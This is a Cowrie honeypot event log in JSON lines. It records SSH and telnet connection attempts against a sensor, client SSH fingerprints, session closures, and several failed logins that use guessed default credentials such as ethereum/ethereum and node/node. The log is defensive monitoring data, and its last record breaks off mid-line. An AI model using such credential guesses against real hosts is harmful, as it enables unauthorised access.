{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":36286,"dst_ip":"10.17.0.5","dst_port":22,"session":"572d6f937b9c","protocol":"ssh","message":"New connection: 2.57.122.238:36286 (10.17.0.5:22) [session: 572d6f937b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:53.257505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:53.262229Z","src_ip":"2.57.122.238","session":"572d6f937b9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:53.365844Z","src_ip":"2.57.122.238","session":"572d6f937b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:53.676033Z","src_ip":"2.57.122.238","session":"572d6f937b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:54.782384Z","src_ip":"2.57.122.238","session":"572d6f937b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":36814,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ae2e1aa1fcc","protocol":"telnet","message":"New connection: 206.189.32.23:36814 (10.17.0.5:23) [session: 9ae2e1aa1fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:58.755831Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60950,"dst_ip":"159.203.135.109","dst_port":23,"session":"5486822179cd","protocol":"telnet","message":"New connection: 162.55.233.176:60950 (159.203.135.109:23) [session: 5486822179cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:03.118896Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55460,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ad2e0de05fb","protocol":"telnet","message":"New connection: 162.55.233.176:55460 (159.203.135.109:23) [session: 8ad2e0de05fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:04.054774Z"}
{"eventid":"cowrie.session.closed","duration":120.00102043151855,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:04.669824Z","src_ip":"206.189.32.23","session":"a013fc17f3df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35870,"dst_ip":"10.17.0.5","dst_port":23,"session":"f66e28f8a837","protocol":"telnet","message":"New connection: 188.208.141.113:35870 (10.17.0.5:23) [session: f66e28f8a837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:08.423643Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49578,"dst_ip":"10.17.0.5","dst_port":23,"session":"c73dd01ad1bb","protocol":"telnet","message":"New connection: 206.189.32.23:49578 (10.17.0.5:23) [session: c73dd01ad1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:09.656617Z"}
{"eventid":"cowrie.session.closed","duration":44.31339907646179,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:13.440770Z","src_ip":"206.189.32.23","session":"e0033300a7d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.87933087348938,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:14.301287Z","src_ip":"188.208.141.113","session":"f66e28f8a837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20983123779297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:15.579694Z","src_ip":"162.55.233.176","session":"4e026491889d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.237072467803955,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:26.518746Z","src_ip":"188.208.141.113","session":"f371c3420239","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.89655876159668,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:28.002258Z","src_ip":"206.189.32.23","session":"1339acd5b43b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.756094455718994,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:29.750061Z","src_ip":"188.208.141.113","session":"1458e537cbf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":46238,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca7e608313fb","protocol":"telnet","message":"New connection: 206.189.32.23:46238 (10.17.0.5:23) [session: ca7e608313fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:30.812902Z"}
{"eventid":"cowrie.session.closed","duration":31.536120414733887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:34.654891Z","src_ip":"162.55.233.176","session":"5486822179cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59568,"dst_ip":"10.17.0.5","dst_port":23,"session":"2db3ecfafb80","protocol":"telnet","message":"New connection: 188.208.141.113:59568 (10.17.0.5:23) [session: 2db3ecfafb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:36.437503Z"}
{"eventid":"cowrie.session.closed","duration":3.3899543285369873,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:39.827351Z","src_ip":"188.208.141.113","session":"2db3ecfafb80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":57570,"dst_ip":"10.17.0.5","dst_port":23,"session":"8406906fe398","protocol":"telnet","message":"New connection: 206.189.32.23:57570 (10.17.0.5:23) [session: 8406906fe398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:40.628473Z"}
{"eventid":"cowrie.session.closed","duration":120.00142097473145,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:42.232776Z","src_ip":"45.171.22.210","session":"c6a85fe7ee2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.08368682861328,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:43.138345Z","src_ip":"162.55.233.176","session":"8ad2e0de05fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":38046,"dst_ip":"10.17.0.5","dst_port":23,"session":"32dec0d5a653","protocol":"telnet","message":"New connection: 206.189.32.23:38046 (10.17.0.5:23) [session: 32dec0d5a653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:47.286515Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":38758,"dst_ip":"10.17.0.5","dst_port":23,"session":"36767c855ac4","protocol":"telnet","message":"New connection: 206.189.32.23:38758 (10.17.0.5:23) [session: 36767c855ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:48.034269Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.171.22.210","src_port":34874,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbffdcc7519f","protocol":"telnet","message":"New connection: 45.171.22.210:34874 (10.17.0.5:23) [session: bbffdcc7519f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:51.121531Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":42936,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3352dca4e3f","protocol":"telnet","message":"New connection: 206.189.32.23:42936 (10.17.0.5:23) [session: a3352dca4e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:54.386654Z"}
{"eventid":"cowrie.session.closed","duration":47.43051505088806,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:57.087017Z","src_ip":"206.189.32.23","session":"c73dd01ad1bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45600,"dst_ip":"10.17.0.5","dst_port":23,"session":"15c6c93e2c22","protocol":"telnet","message":"New connection: 188.208.141.113:45600 (10.17.0.5:23) [session: 15c6c93e2c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:24:58.514071Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":50504,"dst_ip":"10.17.0.5","dst_port":23,"session":"3759ad6921ea","protocol":"telnet","message":"New connection: 206.189.32.23:50504 (10.17.0.5:23) [session: 3759ad6921ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:00.045027Z"}
{"eventid":"cowrie.session.closed","duration":4.943923711776733,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:03.457896Z","src_ip":"188.208.141.113","session":"15c6c93e2c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.22663402557373,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:17.039438Z","src_ip":"206.189.32.23","session":"ca7e608313fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34582,"dst_ip":"159.203.135.109","dst_port":23,"session":"6537ee4056c2","protocol":"telnet","message":"New connection: 162.55.233.176:34582 (159.203.135.109:23) [session: 6537ee4056c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:25.326571Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":46786,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf90201e98d7","protocol":"telnet","message":"New connection: 206.189.32.23:46786 (10.17.0.5:23) [session: cf90201e98d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:26.065710Z"}
{"eventid":"cowrie.session.closed","duration":45.56986427307129,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:26.198228Z","src_ip":"206.189.32.23","session":"8406906fe398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":50854,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cec8ee1514d","protocol":"ssh","message":"New connection: 103.170.173.26:50854 (159.203.135.109:22) [session: 9cec8ee1514d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:29.001024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:29.005432Z","src_ip":"103.170.173.26","session":"9cec8ee1514d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:29.278150Z","src_ip":"103.170.173.26","session":"9cec8ee1514d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"Minecraft","message":"login attempt [minecraft/Minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:30.398839Z","src_ip":"103.170.173.26","session":"9cec8ee1514d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:31.674016Z","src_ip":"103.170.173.26","session":"9cec8ee1514d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.90837097167969,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:32.194762Z","src_ip":"206.189.32.23","session":"32dec0d5a653","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.38727569580078,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:32.773800Z","src_ip":"206.189.32.23","session":"a3352dca4e3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41794,"dst_ip":"159.203.135.109","dst_port":23,"session":"63566aa60563","protocol":"telnet","message":"New connection: 162.55.233.176:41794 (159.203.135.109:23) [session: 63566aa60563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:33.562323Z"}
{"eventid":"cowrie.session.closed","duration":51.64348483085632,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:39.677614Z","src_ip":"206.189.32.23","session":"36767c855ac4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.116.145.26","src_port":34047,"dst_ip":"10.17.0.5","dst_port":23,"session":"28af9662f4ea","protocol":"telnet","message":"New connection: 122.116.145.26:34047 (10.17.0.5:23) [session: 28af9662f4ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:40.271499Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53592,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcb89883d2d2","protocol":"telnet","message":"New connection: 188.208.141.113:53592 (10.17.0.5:23) [session: fcb89883d2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:43.872556Z"}
{"eventid":"cowrie.session.closed","duration":46.50513172149658,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:46.550034Z","src_ip":"206.189.32.23","session":"3759ad6921ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42906,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f7f49defcc2","protocol":"telnet","message":"New connection: 162.55.233.176:42906 (159.203.135.109:23) [session: 1f7f49defcc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:47.607644Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42916,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc266d2a6e2d","protocol":"telnet","message":"New connection: 162.55.233.176:42916 (159.203.135.109:23) [session: dc266d2a6e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:48.067311Z"}
{"eventid":"cowrie.session.closed","duration":14.567333698272705,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:54.838723Z","src_ip":"122.116.145.26","session":"28af9662f4ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.414188623428345,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:57.740652Z","src_ip":"162.55.233.176","session":"6537ee4056c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00124907493591,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:25:58.756972Z","src_ip":"206.189.32.23","session":"9ae2e1aa1fcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.199687957763672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:04.761902Z","src_ip":"162.55.233.176","session":"63566aa60563","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":44270,"dst_ip":"10.17.0.5","dst_port":22,"session":"b760df5f9b41","protocol":"ssh","message":"New connection: 2.57.122.238:44270 (10.17.0.5:22) [session: b760df5f9b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:07.914184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:07.919356Z","src_ip":"2.57.122.238","session":"b760df5f9b41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:08.024365Z","src_ip":"2.57.122.238","session":"b760df5f9b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.22216248512268,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:08.287749Z","src_ip":"206.189.32.23","session":"cf90201e98d7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:08.339599Z","src_ip":"2.57.122.238","session":"b760df5f9b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:09.447002Z","src_ip":"2.57.122.238","session":"b760df5f9b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":57620,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a9d45139249","protocol":"telnet","message":"New connection: 206.189.32.23:57620 (10.17.0.5:23) [session: 2a9d45139249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:15.773439Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":52414,"dst_ip":"10.17.0.5","dst_port":23,"session":"71c778df4c6e","protocol":"telnet","message":"New connection: 206.189.32.23:52414 (10.17.0.5:23) [session: 71c778df4c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:16.183019Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.124.175.234","src_port":41286,"dst_ip":"10.17.0.5","dst_port":22,"session":"8523de53d886","protocol":"ssh","message":"New connection: 40.124.175.234:41286 (10.17.0.5:22) [session: 8523de53d886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:16.320779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:26:16.325498Z","src_ip":"40.124.175.234","session":"8523de53d886","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.